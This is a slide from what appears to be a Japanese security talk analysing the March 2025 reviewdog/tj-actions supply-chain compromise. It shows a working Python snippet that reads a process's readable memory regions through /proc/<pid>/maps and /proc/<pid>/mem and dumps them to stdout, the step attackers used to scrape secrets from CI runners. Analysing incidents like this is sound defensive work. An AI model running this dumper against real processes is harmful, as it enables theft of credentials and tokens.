Slide 11
Slide 11 text
Step 1: root + procfs 経由でメモリダンプ
/proc//maps
を見て readable 領域を総当たり する
map_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"
with open(map_path) as map_f, open(mem_path, "rb", 0) as mem_f:
for line in map_f.readlines():
m = re.match(r"([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])", line)
if m.group(3) == "r":
start = int(m.group(1), 16)
end = int(m.group(2), 16)
mem_f.seek(start)
chunk = mem_f.read(end - start)
sys.stdout.buffer.write(chunk)
maps
で readable な領域だけを列挙する
その範囲を mem
から順に読んで標準出力へ流す
2025/3 reviewdog・tj-actions 侵害
© 2026 GMO Flatt Security Inc. All Rights Reserved. 11 / 53